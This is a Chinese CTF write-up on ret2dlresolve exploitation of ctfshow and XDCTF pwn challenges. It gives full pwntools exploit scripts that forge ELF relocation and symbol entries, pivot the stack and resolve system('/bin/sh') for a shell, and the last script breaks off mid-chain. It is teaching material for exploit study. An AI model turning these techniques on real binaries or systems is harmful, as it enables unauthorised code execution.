filename = 0x0
}, {
name = 0x80482be "GLIBC_2.0",
hash = 225011984,
hidden = 0,
filename = 0x804826d "libc.so.6"
}}

此时,计算得到的 version 地址为 0xf7f236b0,显然不在映射的内存区域。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> print /x 0xf7edf3f0+0x442C*16
$16 = 0xf7f236b0
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0x8049000 0x804a000 r--p 1000 0 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0x804a000 0x804b000 rw-p 1000 1000 /mnt/hgfs/ctf-challenges/pwn/stackoverflow/ret2dlresolve/2015-xdctf-pwn200/32/partial-relro/main_partial_relro_32
0xf7ce8000 0xf7ebd000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7ebd000 0xf7ebe000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ebe000 0xf7ec0000 r--p 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ec0000 0xf7ec1000 rw-p 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7ec1000 0xf7ec4000 rw-p 3000 0
0xf7edf000 0xf7ee1000 rw-p 2000 0
0xf7ee1000 0xf7ee4000 r--p 3000 0 [vvar]
0xf7ee4000 0xf7ee6000 r-xp 2000 0 [vdso]
0xf7ee6000 0xf7f0c000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7f0c000 0xf7f0d000 r--p 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7f0d000 0xf7f0e000 rw-p 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xffa4b000 0xffa6d000 rw-p 22000 0 [stack]

而在动态解析符号地址的过程中,如果 version 为 NULL 的话,也会正常解析符号。

与此同,根据上面的调试信息,可以知道 l_versions 的前两个元素中的 hash 值都为 0,因此如果我们使得 ndx 为 0 或者 1 时,就可以满足要求,我们来在 080487A8 下方找一个合适的值。可以发现 0x080487C2 处的内容为 0。

那自然的,我们就可以调用目标函数。

这里,我们可以通过调整 base_stage 来达到相应的目的。

  • 首先 0x080487C2 与 0x080487A8 之间差了 0x080487C2-0x080487A8)/2 个 version 记录。
  • 那么,这也就说明原先的符号表偏移少了对应的个数。
  • 因此,我们只需要将 base_stage 增加 (0x080487C2-0x080487A8)/2*0x10,即可达到对应的目的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')

offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size + int((0x080487C2-0x080487A8)/2*0x10)
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr#0x80483c0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#0x08048324
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = (base_stage+24) - rel_plt #base_stage + 24指向fake_reloc
write_got = elf.got['write']


fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
print(align)
fake_sym_addr = fake_sym_addr + align#这里是为了对齐,因为dynsym里的Elf32_Sym结构体都是0x10字节大小的
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #得到write的dynsym索引号
r_info = (int(index_dynsym) << 8) | 0x7 #r_info的低8位要是7保证通过检查R_386_JUMP_SLOT=7
fake_reloc = p32(write_got) + p32(r_info)
str_name = 0x4c
fake_sym = p32(str_name) + p32(0) + p32(0) +p32(0x12)

sh = b'/bin/sh'
gdb.attach(io)
sleep(3)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw(b'bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc)
rop.raw(b'a'*align)
rop.raw(fake_sym)
rop.raw(b'a'*(80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a'*(100-len(rop.chain())))
io.sendline(rop.chain())
io.interactive()

最终能正常输出

stage5

这一阶段,我们将在4的基础上,进一步伪造write符号的st_name指向我们自己构造的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')

offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size + int((0x080487C2-0x080487A8)/2*0x10)
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr#0x80483c0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#0x08048324
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = (base_stage+24) - rel_plt #base_stage + 24指向fake_reloc
write_got = elf.got['write']


fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
print(align)
fake_sym_addr = fake_sym_addr + align#这里是为了对齐,因为dynsym里的Elf32_Sym结构体都是0x10字节大小的
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #得到write的dynsym索引号
r_info = (int(index_dynsym) << 8) | 0x7 #r_info的低8位要是7保证通过检查R_386_JUMP_SLOT=7
fake_reloc = p32(write_got) + p32(r_info)
str_name = fake_sym_addr + 0x10 -dynstr# 因为 Elf32_Sym 的大小是16,所以加0x10(-->b'write\x00')
fake_sym = p32(str_name) + p32(0) + p32(0) +p32(0x12)

sh = b'/bin/sh'
gdb.attach(io)
sleep(3)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw(b'bbbb')
rop.raw(1)
rop.raw(base_stage + 80)
rop.raw(len(sh))
rop.raw(fake_reloc)
rop.raw(b'a'*align)
rop.raw(fake_sym)
rop.raw(b'write\x00')#str_name
rop.raw(b'a'*(80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a'*(100-len(rop.chain())))
io.sendline(rop.chain())
io.interactive()

能够正常输出

stage6

这一次我们只用将原先的write字符改为system字符串,同时修改write的参数为system的参数即可获得shell,因为_dl_runtime_resolve函数最终是依赖函数名来解析目标地址的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = remote('pwn.challenge.ctf.show',28217)
#io = process(
# ["/home/pwn/桌面/ld.so.2", "./pwn"],
# env={"LD_PRELOAD": "/home/pwn/桌面/libc.so.6"},
#)
io=process('./pwn')
#libc = ELF('./2.so')
elf = ELF('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()

io.recvuntil(b'Welcome to CTFshowPWN!\n')

offset = 112
stack_size = 0x800
base_stage = bss_addr + stack_size + int((0x080487C2-0x080487A8)/2*0x10)
rop.raw(b'a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
io.sendline(rop.chain())

rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr#0x80483c0
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr#0x08048324
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
index_offset = (base_stage+24) - rel_plt #base_stage + 24指向fake_reloc
write_got = elf.got['write']


fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
print(align)
fake_sym_addr = fake_sym_addr + align#这里是为了对齐,因为dynsym里的Elf32_Sym结构体都是0x10字节大小的
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #得到write的dynsym索引号
r_info = (int(index_dynsym) << 8) | 0x7 #r_info的低8位要是7保证通过检查R_386_JUMP_SLOT=7
fake_reloc = p32(write_got) + p32(r_info)
str_name = fake_sym_addr + 0x10 -dynstr# 因为 Elf32_Sym 的大小是16,所以加0x10(-->b'write\x00')
fake_sym = p32(str_name) + p32(0) + p32(0) +p32(0x12)

sh = b'/bin/sh\x00'
gdb.attach(io)
sleep(3)
rop.raw(plt0)
rop.raw(index_offset)
rop.raw(b'bbbb')
rop.raw(base_stage + 80)
rop.raw(b'bbbb')
rop.raw(b'bbbb')
rop.raw(fake_reloc)
rop.raw(b'a'*align)
rop.raw(fake_sym)
rop.raw(b'system\x00')#str_name
rop.raw(b'a'*(80 - len(rop.chain())))
rop.raw(sh)
rop.raw(b'a'*(100-len(rop.chain())))
io.sendline(rop.chain())
io.interactive()

成功获得了shell

NO_RELRO的情况下我们是直接改.dynamic的strtab将其指向我们构造的.dynstr表

Partial RELRO的情况下我们是通过伪造一整个重定位表项的方式来调用目标函数。

基于工具伪造

有了工具是真的方便,虽然这个漏洞已经很久远了

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.binary = elf = ELF("./pwn")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
io = process("./pwn")
payload = flat({112:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()

Full RELRO

在开启 FULL RELRO 保护的情况下,程序中导入的函数地址会在程序开始执行之前被解析完毕,因此 got 表中 link_map 以及 dl_runtime_resolve 函数地址在程序执行的过程中不会被用到。故而,GOT 表中的这两个地址均为 0。此时,直接使用上面的技巧是不行的。

64位

NO RELRO

ctfshow pwn 84

和32位差不多栈迁移到bss段上在bss段上伪造字符串表,将其中的read字符串替换为system字符串,直接修改.dynamic的strtab将其指向我们构造的.dynstr表

  1. 在 bss 段伪造栈。栈中的数据为
    1. 修改 .dynamic 节中字符串表的地址为伪造的地址
    2. 在伪造的地址处构造好字符串表,将 read 字符串替换为 system 字符串。
    3. 在特定的位置读取 /bin/sh 字符串。
    4. 调用 read 函数的 plt 的第二条指令,触发 _dl_runtime_resolve 进行函数解析,从而触发执行 system 函数。
  2. 栈迁移到 bss 段。

由于没有pop rdx我们使用万能gadget _libc_csu控制rdx的值

1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process("./pwn")
elf = ELF("./pwn")
#io = remote('pwn.challenge.ctf.show',28287)
gdb.attach(io)
sleep(3)
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400750
csu_end_addr = 0x40076A
leave_ret = 0x40063c
pop_rbp = 0x400588
show = 0x400607
pop_rsi_r15 = 0x400771
pop_rdi = 0x400773
read_plt0=0x400516
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'a'*0x38
return payload
io.recvuntil(b"Welcome to CTFshowPWN!\n")
stack_size = 0x200
new_stack = bss_addr + 0x100
rop = ROP('./pwn')
offset = 112 + 8
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,0x600988+8,8))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(bss_addr+0x100))

#fake dynstr
rop = ROP("./pwn")
rop.raw(b'a'*offset)
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100,len(dynstr)))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(dynstr)

#read /bin/sh
rop = ROP("./pwn")
rop.raw(b'a'*offset)
rop.raw(csu(0,1,elf.got['read'],0,bss_addr+0x100+len(dynstr),len(b"/bin/sh\x00")))
rop.raw(show)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.send(b'/bin/sh\x00')

rop = ROP("./pwn")
rop.raw(b'a'*offset)
rop.raw(pop_rsi_r15)
rop.raw(0)
rop.raw(0)
rop.raw(pop_rdi)
rop.raw(bss_addr+0x100+len(dynstr))
rop.raw(read_plt0)
rop.raw(0)
rop.raw(b'a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

远程能通但是本地通不了,应该是本地的rdx不为零导致没有获得shell,暂时还不清楚是哪个函数导致的

Partial RELRO

ctfshow-pwn85

check

1
2
3
4
5
6
7
8
桌面$ checksec pwn 
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

手工伪造

64位的变化

glibc中默认编辑使用的是ELF_Rela来记录重定向的内容

1

这里Elf64_Addr、Elf64_Xword、Elf64_Sxword都为64位,因此Elf64_Rela结构体的大小为24字节。

根据IDA里的重定位表的信息可以知道,write函数在符号表中的偏移为1(0x100000007h>>32)

1

可以在符号表中印证偏移确实为1

1

在64位下,Elf64_Sym结构体为

1

其中

1
2
3
4
Elf64_Word 32位
Elf64_Section 16位
Elf64_Addr 64位
Elf64_Xword 64位

所以Elf64_Sym的大小为24个字节

除此之外,在64位下,plt中的代码push的是待解析符号在重定位表中的索引,而不是偏移。比如,write函数push的是0。

1

据上方分析写出如下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637

def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload


def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"

# construct fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)/24
resolve_data +='a'*pad
resolve_data += symbol

# construct fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)/24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data +='a'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call


io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)

store_addr = bss_addr+0x100

# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'a')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())
# send resolve data
io.send(resolve_data)

rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
sh = "/bin/sh\x00"
bin_sh_addr = store_addr+len(resolve_data)
rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(sh)


rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
rop.raw('a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

然而, 简单地运行后发现,程序崩溃了。

1

通过调试,我们发现,程序是在获取对应的版本号

  • rax 为 0x4003f6,指向版本号数组
  • rdx 为 0x155f1,符号表索引,同时为版本号索引

同时 rax + rdx*2 为 0x42afd8,而这个地址并不在映射的内存中。

1

那我们能不能想办法让它位于映射的内存中呢。估计有点难

  • bss 的起始地址为 0x601050,那么索引值最小为 (0x601050-0x400398)/24=87517,即 0x4003f6 + 87517*2 = 0x42afb0
  • bss 可以最大使用的地址为 0x601fff,对应的索引值为 (0x601fff-0x400398)/24=87684,即 0x4003f6 + 87684*2 = 0x42b0fe

显然都在非映射的内存区域。因此,我们得考虑考虑其它办法。通过阅读 dl_fixup 的代码

1
2
3
4
5
6
7
8
9
10
// 获取符号的版本信息
const struct r_found_version *version = NULL;
if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

我们发现,如果把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL,那程序就不会执行下面的代码,版本号就为 NULL,就可以正常执行代码。但是,这样的话,我们就需要知道 link_map 的地址了。 GOT 表的第 0 项(本例中 0x601008)存储的就是 link_map 的地址。

因此,我们可以

  • 泄露该处的地址
  • 将 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL
  • 最后执行利用脚本即可

通过汇编代码,我们可以看出 l->l_info[VERSYMIDX(DT_VERSYM)] 的偏移为 0x1c8

1
2
3
4
► 0x7fa4b09f7ea1 <_dl_fixup+97>     mov    rax, qword ptr [r10 + 0x1c8]
0x7fa4b09f7ea8 <_dl_fixup+104> xor r8d, r8d
0x7fa4b09f7eab <_dl_fixup+107> test rax, rax
0x7fa4b09f7eae <_dl_fixup+110> je _dl_fixup+156 <_dl_fixup+156>

因此,我们可以简单修改下 exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
# context.log_level="debug"
# context.terminal = ["tmux","splitw","-h"]
context.arch="amd64"
io = process("./main_partial_relro_64")
elf = ELF("./main_partial_relro_64")

bss_addr = elf.bss()
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
vuln_addr = 0x400637

def csu(rbx, rbp, r12, r13, r14, r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = p64(csu_end_addr)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += 'a' * 0x38
return payload


def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"

# construct fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)/24
resolve_data +='a'*pad
resolve_data += symbol

# construct fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)/24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data +='a'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call


io.recvuntil('Welcome to XDCTF2015~!\n')
gdb.attach(io)

store_addr = bss_addr+0x100

# construct fake string, symbol, reloc.modify .dynstr pointer in .dynamic section to a specific location
rop = ROP("./main_partial_relro_64")
offset = 112+8
rop.raw(offset*'a')
resolve_data, resolve_call = ret2dlresolve_x64(elf, store_addr, "system",elf.got["write"])
rop.raw(csu(0, 1 ,elf.got['read'],0,store_addr,len(resolve_data)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())
# send resolve data
io.send(resolve_data)

rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
sh = "/bin/sh\x00"
bin_sh_addr = store_addr+len(resolve_data)
rop.raw(csu(0, 1 ,elf.got['read'],0,bin_sh_addr,len(sh)))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(sh)


# leak link_map addr
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['write'],1,0x601008,8))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))


# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(csu(0, 1 ,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(vuln_addr)
rop.raw("a"*(256-len(rop.chain())))
io.send(rop.chain())
io.send(p64(0))


rop = ROP("./main_partial_relro_64")
rop.raw(offset*'a')
rop.raw(0x00000000004007a3) # 0x00000000004007a3: pop rdi; ret;
rop.raw(bin_sh_addr)
rop.raw(resolve_call)
# rop.raw('a'*(256-len(rop.chain())))
io.send(rop.chain())
io.interactive()

然而,还是崩溃。但这次比较好的是,确实已经执行到了 system 函数。通过调试,我们可以发现,system 函数在进一步调用 execve 时出现了问题

1

即环境变量的地址指向了一个莫名的地址,这应该是我们在进行 ROP 的时候破坏了栈上的数据。那我们可以调整调整,使其为 NULL 或者尽可能不破坏原有的数据。这里我们选择使其为 NULL。

首先,我们可以把读伪造的数据和 /bin/sh 部分的 rop 合并起来,以减少 ROP 的次数

这时候 envp 被污染的数据就只有 0x61 了,即我们填充的数据’a’。那就好办了,我们只需要把所有的 pad 都替换为 \x00 即可。

最终完整的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process("./pwn")
elf = ELF("./pwn")
io = remote('pwn.challenge.ctf.show',28162)
#gdb.attach(io)
#sleep(3)
bss_addr = elf.bss()
print(hex(bss_addr))
csu_front_addr = 0x400780
csu_end_addr = 0x40079A
show = 0x400637

pop_rdi = 0x4007a3
def csu(rbx,rbp,r12,r13,r14,r15):
# pop rbx, rbp, r12, r13, r14, r15
# rbx = 0
# rbp = 1, enable not to jump
# r12 should be the function that you want to call
# rdi = edi = r13
# rsi = r14
# rdx =r15
payload=p64(csu_end_addr)
payload+=p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload+=p64(csu_front_addr)
payload+=b'\x00'*0x38
return payload
def ret2dlresolve_x64(elf,store_addr,func_name,resolve_addr):
plt0 = elf.get_section_by_name('.plt').header.sh_addr

rel_plt = elf.get_section_by_name('.rela.plt').header.sh_addr

relaent = elf.dynamic_value_by_tag("DT_RELAENT") #重定位表大小

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") #符号表大小

dynstr = elf.get_section_by_name('.dynstr').header.sh_addr


# 创造fake函数字符
func_string_addr = store_addr
resolve_data = func_name + b"\x00"

# 创造fake symbol
symbol_addr = store_addr+len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr+pad
symbol = p32(func_string_addr-dynstr)+p8(0x12)+p8(0)+p16(0)+p64(0)+p64(0)
symbol_index = (symbol_addr - dynsym)//24
resolve_data += b'\x00'*pad
resolve_data += symbol

#创造fake reloc
reloc_addr = store_addr+len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset%relaent # align relaent size
reloc_addr +=pad
reloc_index = (reloc_addr-rel_plt)//24
rinfo = (symbol_index<<32) | 7
write_reloc = p64(resolve_addr)+p64(rinfo)+p64(0)
resolve_data += b'\x00'*pad
resolve_data +=write_reloc

resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data,resolve_call


io.recvuntil(b"Welcome to CTFshowPWN!\n")
store_addr = bss_addr + 0x100
sh = b"/bin/sh\x00"

#创造fake string,symbol,修改.dynamic部分中的.dynstr指针到特定位置。
rop = ROP("./pwn")
offset = 112+8
rop.raw(b'\x00'*offset)
resolve_data,resolve_call = ret2dlresolve_x64(elf,store_addr,b"system",elf.got['write'])
rop.raw(csu(0,1,elf.got['read'],0,store_addr,len(resolve_data)+len(sh)))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
assert(len(rop.chain())<=256)
io.send(rop.chain())

io.send(resolve_data+sh)

bin_sh_addr = store_addr + len(resolve_data)

#泄露link_map addr
rop = ROP('./pwn')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['write'],1,0x601008,8))
rop.raw(show)
rop.raw(b'\x00'*(256-len(rop.chain())))
io.send(rop.chain())
link_map_addr = u64(io.recv(8))
print(hex(link_map_addr))

# set l->l_info[VERSYMIDX(DT_VERSYM)] = NULL
rop = ROP('./pwn')
rop.raw(b'\x00'*offset)
rop.raw(csu(0,1,elf.got['read'],0,link_map_addr+0x1c8,8))
rop.raw(show)
io.sendline(rop.chain())
sleep(1)
io.send(p64(0))

rop = ROP('./pwn')
rop.raw(b'\x00'*offset)
rop.raw(pop_rdi)
